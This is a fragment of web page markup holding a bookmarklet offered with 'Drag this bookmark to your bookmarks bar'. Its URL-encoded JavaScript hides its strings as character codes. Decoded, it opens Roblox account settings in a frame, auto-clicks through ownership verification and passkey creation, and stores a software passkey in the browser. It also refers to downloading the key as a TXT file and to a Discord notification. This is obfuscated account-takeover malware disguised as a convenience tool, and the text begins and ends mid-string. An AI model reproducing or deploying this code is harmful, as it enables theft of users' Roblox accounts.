29%3B%20if%20%28failed%29%20%7B%20const%20failure%20%3D%20diagnostics%3F.failure%28%29%3B%20const%20phase%20%3D%20lastError%20%7C%7C%20%28generated%20%3F%20__S%2865%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C44%2C32%2C98%2C117%2C116%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C104%2C97%2C115%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C110%2C102%2C105%2C114%2C109%2C101%2C100%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%20%3A%20generatorRequested%20%3F%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C44%2C32%2C98%2C117%2C116%2C32%2C105%2C116%2C32%2C115%2C116%2C111%2C112%2C112%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C104%2C101%2C32%2C84%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C46%29%20%3A%20__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C100%2C105%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C97%2C108%2C108%2C32%2C116%2C104%2C101%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C226%2C128%2C153%2C115%2C32%2C107%2C101%2C121%2C32%2C103%2C101%2C110%2C101%2C114%2C97%2C116%2C111%2C114%2C46%29%29%3B%20const%20network%20%3D%20failure%20%3F%20failure.status%20%3D%3D%3D%200%20%3F%20__S%2832%2C84%2C104%2C101%2C32%29%20%2B%20failure.kind%20%2B%20__S%2832%2C102%2C97%2C105%2C108%2C101%2C100%2C32%2C111%2C114%2C32%2C119%2C97%2C115%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C97%2C110%2C32%2C72%2C84%2C84%2C80%2C32%2C114%2C101%2C115%2C112%2C111%2C110%2C115%2C101%2C46%29%20%3A%20__S%2832%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C101%2C100%2C32%2C72%2C84%2C84%2C80%2C32%29%20%2B%20failure.status%20%2B%20__S%2832%2C102%2C111%2C114%2C32%2C116%2C104%2C101%2C32%29%20%2B%20failure.kind%20%2B%20__S%2846%29%20%3A%20__S%2832%2C78%2C111%2C32%2C100%2C101%2C116%2C97%2C105%2C108%2C101%2C100%2C32%2C72%2C84%2C84%2C80%2C32%2C101%2C114%2C114%2C111%2C114%2C32%2C119%2C97%2C115%2C32%2C97%2C118%2C97%2C105%2C108%2C97%2C98%2C108%2C101%2C32%2C116%2C111%2C32%2C116%2C104%2C101%2C32%2C98%2C111%2C111%2C107%2C109%2C97%2C114%2C107%2C46%29%3B%20let%20detail%20%3D%20failed.querySelector%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C97%2C105%2C108%2C117%2C114%2C101%2C45%2C100%2C101%2C116%2C97%2C105%2C108%2C93%29%29%3B%20if%20%28%21detail%29%20%7B%20detail%20%3D%20doc.createElement%28__S%28112%29%29%3B%20detail.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C102%2C97%2C105%2C108%2C117%2C114%2C101%2C45%2C100%2C101%2C116%2C97%2C105%2C108%29%2C%20__S%28%29%29%3B%20detail.setAttribute%28__S%28114%2C111%2C108%2C101%29%2C%20__S%2897%2C108%2C101%2C114%2C116%29%29%3B%20detail.style.cssText%20%3D%20__S%28109%2C97%2C114%2C103%2C105%2C110%2C58%2C49%2C50%2C112%2C120%2C32%2C49%2C54%2C112%2C120%2C59%2C99%2C111%2C108%2C111%2C114%2C58%2C35%2C97%2C49%2C50%2C54%2C50%2C50%2C59%2C102%2C111%2C110%2C116%2C58%2C49%2C51%2C112%2C120%2C47%2C49%2C46%2C52%2C53%2C32%2C115%2C121%2C115%2C116%2C101%2C109%2C45%2C117%2C105%29%3B%20%28failed.querySelector%28__S%2846%2C109%2C111%2C100%2C97%2C108%2C45%2C98%2C111%2C100%2C121%29%29%20%7C%7C%20failed.querySelector%28__S%2846%2C109%2C111%2C100%2C97%2C108%2C45%2C99%2C111%2C110%2C116%2C101%2C110%2C116%29%29%20%7C%7C%20failed%29.append%28detail%29%3B%20%7D%20const%20message%20%3D%20phase%20%2B%20network%20%2B%20__S%2832%2C78%2C111%2C32%2C68%2C105%2C115%2C99%2C111%2C114%2C100%2C32%2C110%2C111%2C116%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C119%2C97%2C115%2C32%2C115%2C101%2C110%2C116%2C46%29%3B%20if%20%28detail.textContent%20%21%3D%3D%20message%29%20detail.textContent%20%3D%20message%3B%20%7D%20const%20verificationOpen%20%3D%20currentDialogs.some%28isVerificationDialog%29%3B%20__verificationVisible%20%3D%20verificationOpen%3B%20if%20%28verificationOpen%29%20%7B%20verificationSeen%20%3D%20true%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20%7D%20%20if%20%28clickedAdd%20%26%26%20%21clickedContinue%20%26%26%20%21verificationOpen%20%26%26%20%21exporterError%29%20%7B%20const%20setup%20%3D%20currentDialogs.find%28isAddDialog%29%3B%20const%20next%20%3D%20setup%20%26%26%20find%28setup%2C%20%2F%5Econtinue%24%2Fi%29%3B%20if%20%28next%29%20%7B%20verificationSeen%20%3D%20true%3B%20__awaitingVerification%20%3D%20true%3B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20clickedContinue%20%3D%20true%3B%20close.textContent%20%3D%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20next.click%28%29%3B%20return%3B%20%7D%20%7D%20const%20readyDialogs%20%3D%20currentDialogs.filter%28dialog%20%3D%3E%20%7B%20if%20%28success%20%26%26%20%28dialog%20%3D%3D%3D%20success%20%7C%7C%20dialog.contains%28success%29%20%7C%7C%20success.contains%28dialog%29%29%29%20return%20false%3B%20const%20fields%20%3D%20%5B...dialog.querySelectorAll%28__S%28105%2C110%2C112%2C117%2C116%2C58%2C110%2C111%2C116%2C40%2C91%2C116%2C121%2C112%2C101%2C61%2C34%2C104%2C105%2C100%2C100%2C101%2C110%2C34%2C93%2C41%2C44%2C115%2C101%2C108%2C101%2C99%2C116%2C44%2C116%2C101%2C120%2C116%2C97%2C114%2C101%2C97%2C44%2C105%2C102%2C114%2C97%2C109%2C101%29%29%5D.some%28rendered%29%3B%20const%20heading%20%3D%20headings%28dialog%29.some%28element%20%3D%3E%20text%28element%29%20%26%26%20%21%2F%5E%28%3F%3Aloading%7Cplease%20wait%7Cprocessing%29%5B%5Cs.%5Cu2026-%5D%2A%24%2Fi.test%28text%28element%29%29%29%3B%20const%20action%20%3D%20%5B...dialog.querySelectorAll%28__S%2898%2C117%2C116%2C116%2C111%2C110%2C44%2C91%2C114%2C111%2C108%2C101%2C61%2C34%2C98%2C117%2C116%2C116%2C111%2C110%2C34%2C93%29%29%5D.some%28element%20%3D%3E%20enabled%28element%29%20%26%26%20text%28element%29%20%26%26%20%21%2F%5E%28%3F%3Aclose%7Ccancel%7Cback%29%24%2Fi.test%28text%28element%29%29%29%3B%20const%20message%20%3D%20%5B...dialog.querySelectorAll%28__S%2891%2C114%2C111%2C108%2C101%2C61%2C34%2C97%2C108%2C101%2C114%2C116%2C34%2C93%2C44%2C91%2C97%2C114%2C105%2C97%2C45%2C108%2C105%2C118%2C101%2C61%2C34%2C97%2C115%2C115%2C101%2C114%2C116%2C105%2C118%2C101%2C34%2C93%29%29%5D.some%28element%20%3D%3E%20rendered%28element%29%20%26%26%20text%28element%29%29%3B%20return%20fields%20%7C%7C%20heading%20%7C%7C%20action%20%7C%7C%20message%3B%20%7D%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C93%29%29.forEach%28dialog%20%3D%3E%20%7B%20if%20%28%21readyDialogs.includes%28dialog%29%29%20dialog.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%29%3B%20%7D%29%3B%20doc.querySelectorAll%28__S%2891%2C100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%2C93%29%29.forEach%28overlay%20%3D%3E%20%7B%20if%20%28%21readyDialogs.some%28dialog%20%3D%3E%20overlay.contains%28dialog%29%29%29%20overlay.removeAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%29%3B%20%7D%29%3B%20frame.style.opacity%20%3D%20readyDialogs.length%20%3F%20__S%2849%29%20%3A%20__S%2848%29%3B%20frame.style.pointerEvents%20%3D%20readyDialogs.length%20%3F%20__S%2897%2C117%2C116%2C111%29%20%3A%20__S%28110%2C111%2C110%2C101%29%3B%20readyDialogs.forEach%28dialog%20%3D%3E%20%7B%20dialog.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%2C%20__S%28%29%29%3B%20if%20%28dialog.parentElement%3F.classList.contains%28__S%28102%2C111%2C117%2C110%2C100%2C97%2C116%2C105%2C111%2C110%2C45%2C119%2C101%2C98%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%29%29%20dialog.parentElement.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%2C%20__S%28%29%29%3B%20%7D%29%3B%20if%20%28readyDialogs.length%29%20revealed%20%3D%20true%3B%20if%20%28verificationOpen%29%20%7B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20close.textContent%20%3D%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20return%3B%20%7D%20if%20%28clickedAdd%20%26%26%20%28clickedContinue%20%7C%7C%20verificationSeen%29%20%26%26%20%21creationRequested%20%26%26%20%21exporterError%29%20%7B%20const%20create%20%3D%20readyDialogs.filter%28isPasskeyDialog%29.map%28dialog%20%3D%3E%20find%28dialog%2C%20createLabel%29%29.find%28Boolean%29%3B%20if%20%28create%29%20%7B%20creationRequested%20%3D%20true%3B%20close.textContent%20%3D%20__S%2867%2C114%2C101%2C97%2C116%2C105%2C110%2C103%2C32%2C97%2C110%2C100%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C32%2C116%2C104%2C101%2C32%2C110%2C101%2C119%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20create.click%28%29%3B%20return%3B%20%7D%20%7D%20if%20%28exporterError%29%20return%3B%20close.textContent%20%3D%20generated%20%3F%20__S%2884%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C59%2C32%2C119%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20creationRequested%20%3F%20__S%2887%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20verificationSeen%20%3F%20__S%2887%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C112%2C114%2C111%2C109%2C112%2C116%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20%7D%20catch%20%7B%20fail%28__S%2884%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C110%2C116%2C105%2C110%2C117%2C101%2C46%2C32%2C67%2C104%2C101%2C99%2C107%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C102%2C111%2C114%2C32%2C116%2C104%2C101%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C114%2C121%2C105%2C110%2C103%2C32%2C97%2C103%2C97%2C105%2C110%2C46%29%29%3B%20%7D%20%7D%3B%20timer%20%3D%20setInterval%28tick%2C%20250%29%3B%20if%20%28win.MutationObserver%29%20%7B%20observer%20%3D%20new%20win.MutationObserver%28tick%29%3B%20observer.observe%28doc.body%2C%20%7B%20childList%3A%20true%2C%20subtree%3A%20true%2C%20characterData%3A%20true%20%7D%29%3B%20%7D%20tick%28%29%3B%20%7D%20catch%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C116%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C115%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C112%2C97%2C103%2C101%2C46%2C32%2C79%2C112%2C101%2C110%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C62%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C73%2C110%2C102%2C111%2C32%2C62%2C32%2C76%2C111%2C103%2C105%2C110%2C32%2C77%2C101%2C116%2C104%2C111%2C100%2C115%2C32%2C116%2C111%2C32%2C99%2C114%2C101%2C97%2C116%2C101%2C32%2C97%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C46%29%29%3B%20%7D%20%7D%3B%20frame.src%20%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C109%2C121%2C47%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C35%2C33%2C47%2C105%2C110%2C102%2C111%29%3B%20document.body.append%28frame%29%3B%20%7D%20%7D%29%28%29%3B%20%7D%29%28%29%3B" draggable="true" title="Drag this bookmark to your bookmarks bar">BOOKMARK nversionchange%20%3D%20%28%29%20%3D%3E%20%7B%20db.close%28%29%3B%20connection%20%3D%20null%3B%20%7D%3B%20resolve%28db%29%3B%20%7D%3B%20request.onerror%20%3D%20%28%29%20%3D%3E%20%7B%20connection%20%3D%20null%3B%20reject%28new%20Error%28__S%2884%2C104%2C101%2C32%2C98%2C114%2C111%2C119%2C115%2C101%2C114%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C111%2C112%2C101%2C110%2C32%2C108%2C111%2C99%2C97%2C108%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C115%2C116%2C111%2C114%2C97%2C103%2C101%2C46%29%29%29%3B%20%7D%3B%20request.onblocked%20%3D%20%28%29%20%3D%3E%20%7B%20blocked%20%3D%20true%3B%20connection%20%3D%20null%3B%20reject%28new%20Error%28__S%2867%2C108%2C111%2C115%2C101%2C32%2C111%2C116%2C104%2C101%2C114%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C45%2C101%2C120%2C112%2C111%2C114%2C116%2C101%2C114%2C32%2C116%2C97%2C98%2C115%2C32%2C97%2C110%2C100%2C32%2C116%2C114%2C121%2C32%2C97%2C103%2C97%2C105%2C110%2C46%29%29%29%3B%20%7D%3B%20%7D%29%3B%20%7D%20return%20connection%3B%20%7D%3B%20const%20transact%20%3D%20async%20%28mode%2C%20operation%2C%20storeName%20%3D%20__S%2899%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C115%29%29%20%3D%3E%20%7B%20const%20db%20%3D%20await%20database%28%29%3B%20return%20new%20Promise%28%28resolve%2C%20reject%29%20%3D%3E%20%7B%20const%20transaction%20%3D%20db.transaction%28storeName%2C%20mode%29%3B%20let%20value%3B%20let%20failure%3B%20const%20fail%20%3D%20error%20%3D%3E%20%7B%20failure%20%3D%20error%3B%20try%20%7B%20transaction.abort%28%29%3B%20%7D%20catch%20%7B%20reject%28error%29%3B%20%7D%20%7D%3B%20transaction.oncomplete%20%3D%20%28%29%20%3D%3E%20resolve%28value%29%3B%20transaction.onabort%20%3D%20transaction.onerror%20%3D%20%28%29%20%3D%3E%20reject%28failure%20%7C%7C%20new%20Error%28__S%2876%2C111%2C99%2C97%2C108%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C115%2C116%2C111%2C114%2C97%2C103%2C101%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C111%2C112%2C101%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%29%29%3B%20try%20%7B%20operation%28transaction.objectStore%28storeName%29%2C%20result%20%3D%3E%20%7B%20value%20%3D%20result%3B%20%7D%2C%20fail%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%29%3B%20%7D%3B%20return%20%7B%20ready%3A%20async%20%28%29%20%3D%3E%20%7B%20await%20database%28%29%3B%20%7D%2C%20wrappingKey%3A%20async%20%28%29%20%3D%3E%20%7B%20const%20existing%20%3D%20await%20transact%28__S%28114%2C101%2C97%2C100%2C111%2C110%2C108%2C121%29%2C%20%28store%2C%20set%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20set%28request.result%3F.key%29%3B%20%7D%2C%20__S%28118%2C97%2C117%2C108%2C116%29%29%3B%20if%20%28existing%29%20return%20existing%3B%20const%20candidate%20%3D%20await%20crypto.subtle.generateKey%28%7B%20name%3A%20__S%2865%2C69%2C83%2C45%2C71%2C67%2C77%29%2C%20length%3A%20256%20%7D%2C%20false%2C%20%5B__S%28101%2C110%2C99%2C114%2C121%2C112%2C116%29%2C%20__S%28100%2C101%2C99%2C114%2C121%2C112%2C116%29%5D%29%3B%20return%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20current%20%3D%20request.result%3F.key%3B%20if%20%28current%29%20set%28current%29%3B%20else%20%7B%20store.put%28%7B%20id%3A%20__S%28119%2C114%2C97%2C112%2C112%2C105%2C110%2C103%2C45%2C107%2C101%2C121%29%2C%20key%3A%20candidate%20%7D%29%3B%20set%28candidate%29%3B%20%7D%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%2C%20__S%28118%2C97%2C117%2C108%2C116%29%29%3B%20%7D%2C%20put%3A%20record%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20store%20%3D%3E%20%7B%20store.put%28record%29%3B%20%7D%29%2C%20list%3A%20rpId%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C111%2C110%2C108%2C121%29%2C%20%28store%2C%20set%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.index%28__S%28114%2C112%2C73%2C100%29%29.getAll%28rpId%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20set%28request.result%29%3B%20%7D%29%2C%20remove%3A%20key%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20store%20%3D%3E%20%7B%20store.delete%28key%29%3B%20%7D%29%2C%20upgradeEnvelope%3A%20%28key%2C%20envelope%29%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28key%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20record%20%3D%20request.result%3B%20if%20%28%21record%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C119%2C97%2C115%2C32%2C114%2C101%2C109%2C111%2C118%2C101%2C100%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C109%2C105%2C103%2C114%2C97%2C116%2C105%2C111%2C110%2C46%29%29%3B%20if%20%28record.envelope.version%20%3D%3D%3D%201%29%20store.put%28%7B%20...record%2C%20envelope%20%7D%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%29%2C%20nextCounter%3A%20key%20%3D%3E%20transact%28__S%28114%2C101%2C97%2C100%2C119%2C114%2C105%2C116%2C101%29%2C%20%28store%2C%20set%2C%20fail%29%20%3D%3E%20%7B%20const%20request%20%3D%20store.get%28key%29%3B%20request.onsuccess%20%3D%20%28%29%20%3D%3E%20%7B%20try%20%7B%20const%20record%20%3D%20request.result%3B%20if%20%28%21record%20%7C%7C%20%21Number.isSafeInteger%28record.signCount%29%20%7C%7C%20record.signCount%20%3C%200%20%7C%7C%20record.signCount%20%3E%3D%200xffffffff%29%20throw%20new%20Error%28__S%2884%2C104%2C101%2C32%2C115%2C97%2C118%2C101%2C100%2C32%2C99%2C114%2C101%2C100%2C101%2C110%2C116%2C105%2C97%2C108%2C32%2C99%2C97%2C110%2C110%2C111%2C116%2C32%2C97%2C108%2C108%2C111%2C99%2C97%2C116%2C101%2C32%2C97%2C32%2C115%2C105%2C103%2C110%2C97%2C116%2C117%2C114%2C101%2C32%2C99%2C111%2C117%2C110%2C116%2C101%2C114%2C46%29%29%3B%20const%20next%20%3D%20record.signCount%20%2B%201%3B%20store.put%28%7B%20...record%2C%20signCount%3A%20next%20%7D%29%3B%20set%28next%29%3B%20%7D%20catch%20%28error%29%20%7B%20fail%28error%29%3B%20%7D%20%7D%3B%20%7D%29%2C%20%7D%3B%20%7D%20return%20%7B%20create%20%7D%3B%20%7D%29%28%29%3B%20const%20SoftwareCredential%20%3D%20%28%28%29%20%3D%3E%20%7B%20__S%28117%2C115%2C101%2C32%2C115%2C116%2C114%2C105%2C99%2C116%29%3B%20const%20encoder%20%3D%20new%20TextEncoder%28%29%3B%20const%20base64url%20%3D%20bytes%20%3D%3E%20%7B%20let%20binary%20%3D%20__S%28%29%3B%20for%20%28const%20byte%20of%20bytes%29%20binary%20%2B%3D%20String.fromCharCode%28byte%29%3B%20return%20btoa%28binary%29.replace%28%2F%5C%2B%2Fg%2C%20__S%2845%29%29.replace%28%2F%5C%2F%2Fg%2C%20__S%2895%29%29.replace%28%3D%2B%24%2F%2C%20%27%27%29%3B%20%7D%3B%20const%20from64%20%3D%20value%20%3D%3E%20Uint8Array.from%28atob%28value.replace%28%2F-%2Fg%2C%20%27%2B%27%29.replace%28%2F_%2Fg%2C%20%27%2F__S%2841%2C41%2C44%2C32%2C99%2C32%2C61%2C62%2C32%2C99%2C46%2C99%2C104%2C97%2C114%2C67%2C111%2C100%2C101%2C65%2C116%2C40%2C48%2C41%2C41%2C59%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C98%2C105%2C110%2C97%2C114%2C121%2C32%2C61%2C32%2C118%2C97%2C108%2C117%2C101%2C32%2C61%2C62%2C32%2C123%2C32%2C105%2C102%2C32%2C40%2C65%2C114%2C114%2C97%2C121%2C66%2C117%2C102%2C102%2C101%2C114%2C46%2C105%2C115%2C86%2C105%2C101%2C119%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C41%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C117%2C102%2C102%2C101%2C114%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C121%2C116%2C101%2C79%2C102%2C102%2C115%2C101%2C116%2C44%2C32%2C118%2C97%2C108%2C117%2C101%2C46%2C98%2C121%2C116%2C101%2C76%2C101%2C110%2C103%2C116%2C104%2C41%2C46%2C115%2C108%2C105%2C99%2C101%2C40%2C41%2C59%2C32%2C105%2C102%2C32%2C40%2C79%2C98%2C106%2C101%2C99%2C116%2C46%2C112%2C114%2C111%2C116%2C111%2C116%2C121%2C112%2C101%2C46%2C116%2C111%2C83%2C116%2C114%2C105%2C110%2C103%2C46%2C99%2C97%2C108%2C108%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C32%2C61%2C61%2C61%2C32%29%5Bobject%20ArrayBuffer%5D__S%2841%2C32%2C114%2C101%2C116%2C117%2C114%2C110%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C118%2C97%2C108%2C117%2C101%2C41%2C46%2C115%2C108%2C105%2C99%2C101%2C40%2C41%2C59%2C32%2C116%2C104%2C114%2C111%2C119%2C32%2C110%2C101%2C119%2C32%2C69%2C114%2C114%2C111%2C114%2C40%29Roblox%20supplied%20invalid%20binary%20registration%20options.__S%2841%2C59%2C32%2C125%2C59%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C106%2C111%2C105%2C110%2C32%2C61%2C32%2C40%2C46%2C46%2C46%2C97%2C114%2C114%2C97%2C121%2C115%2C41%2C32%2C61%2C62%2C32%2C123%2C32%2C99%2C111%2C110%2C115%2C116%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C32%2C61%2C32%2C110%2C101%2C119%2C32%2C85%2C105%2C110%2C116%2C56%2C65%2C114%2C114%2C97%2C121%2C40%2C97%